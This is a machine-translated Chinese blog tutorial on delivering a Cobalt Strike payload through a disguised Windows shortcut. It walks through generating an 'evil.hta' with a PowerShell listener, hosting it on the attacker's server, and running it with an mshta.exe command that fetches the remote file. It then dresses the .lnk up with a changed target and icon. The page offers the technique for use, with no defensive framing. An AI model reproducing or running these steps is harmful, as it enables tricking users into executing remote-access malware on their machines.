当前位置:网站首页>Use shortcut LNK online CS
Use shortcut LNK online CS
2022-07-06 06:31:00 【zxl2605】
step :
1、 Generate :Attacks -> Packages -> Html Application
2、 Upload :Attacks——>Web Drive by——>Host file
3、 perform :C:\Windows\System32\mshta.exe http://xx.xx.xx.xx:xx/x.ext
4、 camouflage :
- create shortcut
- Generate HTA And upload
- Property change target execution
- Property change icon
I'll use windows Medium mshta, Used to perform hta file
mshta.exe yes Microsoft Windows operating system Relevant procedures , English full name Microsoft HTML Application, Microsoft Hypertext markup language application , Used to perform .HTA file
Let's demonstrate
Open the configured CS
1、 Generate :Attacks -> Packages -> Html Application
Select the listener to set -power shell
![]()

Generate evil.hta

2、 Upload :Attacks——>Web Drive by——>Host file

Copy the generated file URL

3. create shortcut
4. perform :C:\Windows\System32\mshta.exe http://xx.xx.xx.xx:xx/x.ext

5. camouflage ( Self expanding , No demonstration )
- create shortcut
- Generate HTA And upload
- Property change target execution
- Property change icon ( Expands itself )
Click shortcut - Shortcut successfully launched

边栏推荐
- Database - current read and snapshot read
- E - 食物链
- JDBC requset corresponding content and function introduction
- 模拟卷Leetcode【普通】1061. 按字典序排列最小的等效字符串
- 英语论文翻译成中文字数变化
- 金融德语翻译,北京专业的翻译公司
- Testing of web interface elements
- Summary of anomaly detection methods
- D - How Many Answers Are Wrong
- Cannot create poolableconnectionfactory (could not create connection to database server. error
猜你喜欢

org.activiti.bpmn.exceptions.XMLException: cvc-complex-type.2.4.a: 发现了以元素 ‘outgoing‘ 开头的无效内容

中英对照:You can do this. Best of luck祝你好运

My daily learning records / learning methods

Apple has open source, but what about it?

JWT-JSON WEB TOKEN

oscp raven2靶机渗透过程

如何将flv文件转为mp4文件?一个简单的解决办法

Delete the variables added to watch1 in keil MDK

G - Supermarket

云服务器 AccessKey 密钥泄露利用
随机推荐
Avtiviti创建表时报错:Error getting a new connection. Cause: org.apache.commons.dbcp.SQLNestedException
Engineering organisms containing artificial metalloenzymes perform unnatural biosynthesis
如何将flv文件转为mp4文件?一个简单的解决办法
Difference between backtracking and recursion
B - The Suspects
模拟卷Leetcode【普通】1447. 最简分数
CS通过(CDN+证书)powershell上线详细版
Postman core function analysis - parameterization and test report
Simulation volume leetcode [general] 1062 Longest repeating substring
How to translate biomedical instructions in English
模拟卷Leetcode【普通】1219. 黄金矿工
Database isolation level
Redis 核心技术与实战之 基本架构:一个键值数据库包含什么?
MySQL is sorted alphabetically
Biomedical localization translation services
【MQTT从入门到提高系列 | 01】从0到1快速搭建MQTT测试环境
国产游戏国际化离不开专业的翻译公司
模拟卷Leetcode【普通】1405. 最长快乐字符串
金融德语翻译,北京专业的翻译公司
Cobalt strike feature modification